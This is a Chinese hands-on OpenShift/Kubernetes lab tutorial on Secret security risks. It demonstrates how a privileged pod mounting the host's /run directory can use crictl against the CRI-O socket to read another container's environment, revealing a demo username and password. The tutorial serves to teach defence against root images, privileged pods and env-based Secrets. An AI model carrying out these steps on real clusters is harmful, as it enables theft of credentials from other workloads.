《OpenShift 4.x HOL教程汇总》
本文在 OpenShift 4 和 Kubernetes 1.20 环境中进行验证。
文章目录
容器镜像和 Secret 安全风险
我们通常使用 Kubernetes 的 Secret 对象来保存敏感信息,例如:用户名/密码、访问 Token、秘钥等。攻击者一旦获取 Secret 中的敏感信息,要不可以轻松攻破并获取到存放在应用数据的数据库,要不可以通过获取的 Token 或秘钥进一步进入无权访问的被保护系统,造成进一步危害和损失。
为了获得一个 Secret 对象的内容,大致步骤如下:
- 选择一个能够以 root 运行的镜像,其中包含 curl、wget 这类卸载命令、yum、apt-get 这类包安装管理工具。
- 基于以上镜像,以提权的配置运行起对应的容器,并将宿主机的目录挂载到运行的容器中。
- 下载并安装必要的软件,然后在容器中访问宿主机的目录。
- 获得运行在该节点的容器实例以及对应的 Secret 配置。
从上面可以看出,如果要获取到应用容器使用的 Secret,需要利用以下几个在 Kubernetes 或 OpenShift 生产环境中 “不良” 的实践和配置。
镜像默认使用 root 用户
在打包应用镜像的时候可以指定默认使用的用户。很遗憾,在 docker.io 中的大多数镜像默认使用的都是 root 用户。由于 root 用户意味着用户进入容器后可以进行不受限的操作,任意读写文件、下载安装软件,因此这是不安全隐患的开始。
Red Hat 官方提供的应用容器镜像都是以非 root 作为默认用户,这样从镜像方面限制了可以在容器中进行的危害操作,从而提升了安全性。
提权运行 Pod
一个受限运行的容器通常只能对容器内部资源进行操作,但是一个提权运行的容器是可以访问到运行它的宿主机上的文件资源。这样就将潜在的危险从容器扩展到宿主机层面了。
使用环境变量访问 Secret 中的数据
存放在 Secret 中敏感数据并不是加密保存的,而只是经过 base64 编码的,因此在获得 Secret 后通过 decode 可以很容易获得敏感数据的实际内容,因此使用 Secret 需要格外小心。当 Pod 或容器使用 Secret 的数据的时候,可以使用以下 2 种方式:
- 在容器中通过环境变量访问 Secret 中的数据。
- 将 Secret 对象挂载到容器中,这样在容器中通过访问挂载的文件就可获得 Secret 中的数据。
以上 2 中使用 Secret 的方法是存在安全风险的。其中第 1 种通过环境变量的方式风险更高,这是因为这些敏感数据可以直接从容器运行环境外部的描述中获得,攻击者无需进入使用 Secret 的容器内部。而对于第 2 种使用 Secret 的方法,攻击者就必须先进入使用 Secret 的容器内部才能访问到 Secret,这样就增加了攻击的难度,因此相对更加安全。
利用“风险镜像+配置漏洞”攻击应用 Secret
准备被攻击应用环境
- 使用集群管理员在 OpenShift 中创建 myapp 项目。
$ oc new-project myapp
- 使用以下 YAML 内容在 myapp 项目中创建 Secret 和 Pod 资源。其中 Secret 中的 data 包含了 username 和 password 敏感数据;而 Pod 采用环境变量的方式使用了 Secret 中的 username 和 password 敏感数据。
apiVersion: v1
kind: Secret
metadata:
name: mysecret
type: Opaque
data:
username: YWRtaW4=
password: bXlwYXNzd29yZA==
---
apiVersion: v1
kind: Pod
metadata:
name: secret-env-pod
spec:
containers:
- name: busybox
image: busybox
command: ['sh','-c','echo "The username is $USERNAME, password is $PASSWORD"; sleep 3600']
env:
- name: USERNAME
valueFrom:
secretKeyRef:
name: mysecret
key: username
optional: false
- name: PASSWORD
valueFrom:
secretKeyRef:
name: mysecret
key: password
optional: false
restartPolicy: Never
- 执行命令查看 myapp 的日志,确认可以通过环境变量访问到 username 和 password 敏感数据
$ oc logs -n myapp pod/secret-env-pod
准备攻击环境
- 使用集群管理员赋给 developer 用户以 privileged 的安全上下文。
$ oc adm policy add-scc-to-user privileged developer
注意:此文由于要演示攻击过程,因此必须给 developer 用户以 privileged 安全上下文。但是为了能共享数据或作为 Cache 缓存提升性能,有些情况能也会用到宿主机的存储,此时也需要赋予用户以 privileged 的安全上下文。
- 使用 developer 用户登录 OpenShift,然后创建 myrisk 项目。
$ oc new-project myrisk
- 使用 developer 用户并基于以下 YAML 运行名为 privileged-pod 的 Pod,它将作为攻击发起的 Pod。因为有 “privileged: true” 的配置,它可将宿主机的 “/run” 目录挂载到容器中。
apiVersion: v1
kind: Pod
metadata:
name: privileged-pod
spec:
containers:
- name: risk-shell
image: ubuntu:latest
stdin: true
tty: true
volumeMounts:
- mountPath: /mnt
name: volume
securityContext:
privileged: true
volumes:
- name: volume
hostPath:
path: /run
攻击被测试应用的 Secret
- 执行命令进入 privileged-pod 内部。
$ oc rsh -n myrisk pod/privileged-pod
- 在 privileged-pod 内部执行以下命令,先安装 curl 和 jq 命令,然后下载并解压 CRI-O 容器运行环境的客户端。
cd ~
apt-get update; apt-get install -y curl jq
curl -LO https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.25.0/crictl-v1.25.0-linux-amd64.tar.gz
tar -xvf crictl-v1.25.0-linux-amd64.tar.gz
- 执行命令,先获取名为 busybox 的容器 ID,然后查看该容器的配置信息中 “.info.runtimeSpec.process.env” 区域。
ID=$(~/crictl --runtime-endpoint /mnt/crio/crio.sock ps | grep busybox | awk '{print $1}')
~/crictl --runtime-endpoint /mnt/crio/crio.sock inspect $ID | jq .info.runtimeSpec.process.env
- 确认返回结果中包含 USERNAME 和 PASSWORD。
[
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"TERM=xterm",
"HOSTNAME=secret-env-pod",
"NSS_SDB_USE_CACHE=no",
"USERNAME=admin",
"PASSWORD=mypassword",
"KUBERNETES_SERVICE_PORT=443",
"KUBERNETES_SERVICE_PORT_HTTPS=443",
"KUBERNETES_PORT=tcp://10.217.4.1:443",
"KUBERNETES_PORT_443_TCP=tcp://10.217.4.1:443",
"KUBERNETES_PORT_443_TCP_PROTO=tcp",
"KUBERNETES_PORT_443_TCP_PORT=443",
"KUBERNETES_PORT_443_TCP_ADDR=10.217.4.1",
"KUBERNETES_SERVICE_HOST=10.217.4.1",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
]
演示视频
参考
https://github.com/nmeisenzahl/hijack-kubernetes/blob/main/docs/hands-on.md